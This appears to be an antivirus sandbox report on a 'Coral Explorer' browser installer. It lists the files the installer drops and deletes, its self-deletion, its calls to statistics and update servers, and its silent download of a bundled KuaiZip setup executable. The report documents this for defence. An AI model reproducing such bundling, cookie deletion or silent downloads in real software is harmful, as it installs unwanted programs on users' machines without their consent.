%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_vyouku.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_xl_arrow.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_youdao.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_xl_background2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_xl_background1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_wsoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_wbaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_yahoo.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_wwiki.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_sjyjo.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_dxunlei.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_dverycd.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_ibaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_google.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_bing.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_baidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_dshooter.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_dduote.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_igoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_msoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_mgoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_sdangdang.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_sbuy360.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_mabaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_isoso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_mbaidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_logo_magoogle.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_bigicon_soso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\home.htm
%PROGRAM_FILES%\CoralExplorer\StartPage\guide.htm
%PROGRAM_FILES%\CoralExplorer\StartPage\search.htm
%PROGRAM_FILES%\CoralExplorer\StartPage\index.htm
%PROGRAM_FILES%\CoralExplorer\Skins\Coral.skn
%PROGRAM_FILES%\CoralExplorer\Skins\Coral.dui
%PROGRAM_FILES%\CoralExplorer\Skins\Coral.xml
%PROGRAM_FILES%\CoralExplorer\Skins\CoralIE.skn
%PROGRAM_FILES%\CoralExplorer\StartPage\step1.htm
%PROGRAM_FILES%\CoralExplorer\StartPage\css\home.css
%PROGRAM_FILES%\CoralExplorer\StartPage\css\css.css
%PROGRAM_FILES%\CoralExplorer\StartPage\images\blank.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\all_search_icon_baidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\step3.htm
%PROGRAM_FILES%\CoralExplorer\StartPage\step2.htm
%PROGRAM_FILES%\CoralExplorer\StartPage\step5.htm
%PROGRAM_FILES%\CoralExplorer\StartPage\step4.htm
%PROGRAM_FILES%\CoralExplorer\CoralUI2.dll
%PROGRAM_FILES%\CoralExplorer\CoralApp.dll
%PROGRAM_FILES%\CoralExplorer\Coral.exe
%PROGRAM_FILES%\CoralExplorer\CoralDb.dll
%PROGRAM_FILES%\CoralExplorer\Coral.dll
%TEMP%\CoralExplorer_200421.exe
C:\1A0C95D5.log
%TEMP%\nsc3.tmp\System.dll
%TEMP%\nsm2.tmp
%PROGRAM_FILES%\CoralExplorer\CoralDownload.dll
%PROGRAM_FILES%\CoralExplorer\珊瑚免责声明.txt
%PROGRAM_FILES%\CoralExplorer\lang\CoralLang_chs.dll
%PROGRAM_FILES%\CoralExplorer\msvcr80.dll
%PROGRAM_FILES%\CoralExplorer\Microsoft.VC80.CRT.manifest
%PROGRAM_FILES%\CoralExplorer\CoralUI.dll
%PROGRAM_FILES%\CoralExplorer\CoralTrident.dll
%PROGRAM_FILES%\CoralExplorer\CoralRender.dll
%PROGRAM_FILES%\CoralExplorer\CoralUpdate.dll
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_bottombar_report.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_act_soso.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_act_sogou.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_act_youdao.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_act_yahoo.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_act_baidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_item_loading.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_act_google.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_act_bing.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_background1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_bigicon_bing.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_bigicon_baidu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_bigicon_sogou.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_bigicon_google.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_background2b.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_background2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_background4.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_search_background3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_item_hover.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_blank_hover.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_blank.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_edit_hover.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_edit.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_bottombar_report3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_bottombar_report2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_bj.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_content_error.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_edit_pressed.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_remove_pressed.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_remove_hover.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_item_add.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_item.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_refresh_hover.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_refresh.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_remove.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_grid_bar_refresh_pressed.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_toolbar_icon1.gif
%APPDATA%\CoralExplorer\FavIcon\3D6A8AC8F2013B0D7A1EA53076E96320.ico
%PROGRAM_FILES%\CoralExplorer\Config\Users\Default\SystemUrl.data
%APPDATA%\CoralExplorer\FavIcon\81C6AF03AC3E2B181DD99A3C1AFD1AA3.ico
%APPDATA%\CoralExplorer\FavIcon\6E086A7049DD129DF69051413AC6AB3A.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\F2A7BED2A1035F9E4EC022B3ECA481A8.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\A4C4A052651124668E8F829A3AA6D63C.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\home.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\default_page.ico
%APPDATA%\CoralExplorer\FavIcon\85131C29C8F7B398A345BD7F1A51DAB1.ico
%APPDATA%\CoralExplorer\Users\Default\SystemUrl.data
%APPDATA%\CoralExplorer\FavIcon\home.ico
%TEMP%\nsc3.tmp\FileInfo.dll
%PROGRAM_FILES%\CoralExplorer\Uninstall.exe
%APPDATA%\CoralExplorer\FavIcon\A4C4A052651124668E8F829A3AA6D63C.ico
%APPDATA%\CoralExplorer\FavIcon\8FDEAD446A8D607C20207D38D669E349.ico
%APPDATA%\CoralExplorer\FavIcon\default_page.ico
%APPDATA%\CoralExplorer\FavIcon\F2A7BED2A1035F9E4EC022B3ECA481A8.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\8FDEAD446A8D607C20207D38D669E349.ico
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\taobao_big.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\sina_small.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\youku_big.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\taobao_small.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\kaixin_big.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\baidu_small.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\sina_big.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\kaixin_small.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\youku_small.jpg
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\6E086A7049DD129DF69051413AC6AB3A.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\3D6A8AC8F2013B0D7A1EA53076E96320.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\85131C29C8F7B398A345BD7F1A51DAB1.ico
%PROGRAM_FILES%\CoralExplorer\Config\FavIcon\81C6AF03AC3E2B181DD99A3C1AFD1AA3.ico
%PROGRAM_FILES%\CoralExplorer\StartPage\js\coral.js
%PROGRAM_FILES%\CoralExplorer\StartPage\js\RCAddressBar.js
%PROGRAM_FILES%\CoralExplorer\StartPage\js\keySuggestion.js
%PROGRAM_FILES%\CoralExplorer\StartPage\js\createmenu.js
%APPDATA%\CoralExplorer\Users\Default\AliasUrl.data-journal
%TEMP%\nss6.tmp\KillProcDLL.dll
%TEMP%\nss6.tmp\FindProcDLL.dll
%APPDATA%\CoralExplorer\temp\pending.hzt
%TEMP%\nss6.tmp\ExecCmd.dll
%HOMEPATH%\Desktop\珊瑚浏览器.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\珊瑚浏览器\卸载程序.lnk
%TEMP%\nss6.tmp\System.dll
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\珊瑚浏览器.lnk
%TEMP%\HZ~8.tmp
%TEMP%\welcomekugou.bmp
%TEMP%\welcome.bmp
%TEMP%\licenseen.bmp
%TEMP%\licensecn.bmp
%TEMP%\nss6.tmp\InstPath.ini
%TEMP%\nss6.tmp\WelcomePage.ini
%TEMP%\instpath.ini
%TEMP%\welcomepage.ini
%ALLUSERSPROFILE%\Start Menu\Programs\珊瑚浏览器\珊瑚浏览器.lnk
%APPDATA%\CoralExplorer\Users\Default\Favorites.data
%APPDATA%\CoralExplorer\Users\Default\Favorites.data-journal
%APPDATA%\CoralExplorer\Users\Default\StartPageConfig.data
%APPDATA%\CoralExplorer\Users\Default\StartPageConfig.data-journal
%TEMP%\FunshionInstall.exe
%APPDATA%\CoralExplorer\Users\Default\AliasUrl.data
%APPDATA%\CoralExplorer\Users\Default\Crash.data
%APPDATA%\CoralExplorer\Users\Default\Crash.data-journal
%APPDATA%\CoralExplorer\Users\Default\SmartUrl.data-journal
%HOMEPATH%\Start Menu\珊瑚浏览器.lnk
%APPDATA%\CoralExplorer\Users\Default\Default.cfg
%HOMEPATH%\Start Menu\Programs\珊瑚浏览器\卸载程序.lnk
%HOMEPATH%\Start Menu\Programs\珊瑚浏览器\珊瑚浏览器.lnk
%APPDATA%\CoralExplorer\Users\Default\History.data-journal
%APPDATA%\CoralExplorer\Users\Default\SmartUrl.data
%TEMP%\nsh5.tmp
%APPDATA%\CoralExplorer\Users\Default\History.data
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\baidu_big.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\switch_widbar_icon1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\switch_combar_icon2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\tick.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\switch_widbar_icon2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_tit_hover.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_tit.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\switch_combar_icon1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\switch_bj.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\tick.ico
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\02_img_02.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\02_img_01.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\03_img_02.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\03_img_01.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\01_img_02.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\01_img_01.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\01_img_04.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\01_img_03.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_icon4_2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_background.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_toolbar_icon6.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_edit_background.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_close.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_toolbar_icon3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_toolbar_icon2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_toolbar_icon5.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\main_toolbar_icon4.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_edit_background2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_icon2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_icon1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_icon4.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_icon3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_button2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_button.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_icon.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\popup_dialog_list_button3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\03_img_03.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu5_1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu4_3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\p_down.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu5_2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu3_3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu3_2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu4_2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu4_1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\p_down.png
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\zuij.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\xiangd.png
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\2345_small.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\home\2345_big.jpg
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\start.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\shanhu.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\xiangd.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\start.png
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu3_1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\back.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\05_img_02.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\ico.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\bg.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\04_img_02.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\04_img_01.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\05_img_01.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\04_img_03.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\kaishi.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu2_1.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu1_3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu2_3.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu2_2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\mainbg.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\logo.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu1_2.gif
%PROGRAM_FILES%\CoralExplorer\StartPage\images\guide\menu1_1.gif

Deletes the following files:

%PROGRAM_FILES%\Funshion Online\Funshion\FunshionAddr\conf.xml
%TEMP%\installfilesen.bmp
%TEMP%\nss6.tmp\ExecCmd.dll
%TEMP%\funpost.dat
%TEMP%\installfilescn.bmp
%TEMP%\licenseen.bmp
%TEMP%\licensecn.bmp
%TEMP%\installpathen.bmp
%TEMP%\installpathcn.bmp
%TEMP%\nss6.tmp\nsisXML.dll
%TEMP%\nss6.tmp\NSISdl.dll
%TEMP%\nss6.tmp\WelcomePage.ini
%TEMP%\nss6.tmp\System.dll
%TEMP%\nss6.tmp\md5dll.dll
%TEMP%\nss6.tmp\FindProcDLL.dll
%TEMP%\nss6.tmp\ExecDos.dll
%TEMP%\nss6.tmp\KillProcDLL.dll
%TEMP%\nss6.tmp\InstPath.ini
%APPDATA%\CoralExplorer\Users\Default\SmartUrl.data-journal
%APPDATA%\CoralExplorer\Users\Default\StartPageConfig.data-journal
%TEMP%\funshion.ini
%APPDATA%\CoralExplorer\Users\Default\History.data-journal
%APPDATA%\CoralExplorer\Users\Default\Favorites.data-journal
%TEMP%\nsc3.tmp\System.dll
%TEMP%\nsc3.tmp\FileInfo.dll
%APPDATA%\CoralExplorer\Users\Default\Crash.data-journal
%APPDATA%\CoralExplorer\Users\Default\AliasUrl.data-journal
%TEMP%\instpath.ini
%TEMP%\welcomepage.ini
%TEMP%\welcomekugou.bmp
%TEMP%\welcome.bmp
%TEMP%\post.dat
%TEMP%\xml2fspdata.exe
%TEMP%\posts.dat
%HOMEPATH%\Cookies\%USERNAME%@funshion[2].txt
%HOMEPATH%\Cookies\%USERNAME%@funshion[1].txt

Moves the following files:

from %TEMP%\HZ~8.tmp to %APPDATA%\CoralExplorer\Users\Default\Default.cfg

Deletes itself.

Network activity:

Connects to:

'do###.a4455.com':80
'localhost':1047
'up####.shanhu99.com':80
'pa#####.funshion.com':80

TCP:

HTTP GET requests:

pa#####.funshion.com/partner/query_binding_config.php?ch###############
pa#####.funshion.com/partner/query_banding_stat.php?s=###############################################################################################################################
pa#####.funshion.com/partner/install_statistic.php?s=#################################################################################################################################################################################
pa#####.funshion.com/partner/install_start.php?s=######################################################################################
do###.a4455.com/KuaiZip_Setup_v2.1_10034.exe

HTTP POST requests:

up####.shanhu99.com/index.php

UDP:

DNS ASK do###.a4455.com
DNS ASK fs.##nshion.com
DNS ASK up####.shanhu99.com
DNS ASK pa#####.funshion.com

Miscellaneous:

Searches for the following windows:

ClassName: 'NDDEAgnt' WindowName: 'NetDDE Agent'
ClassName: 'Shell_TrayWnd' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'funshion_updater_msg' WindowName: ''

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial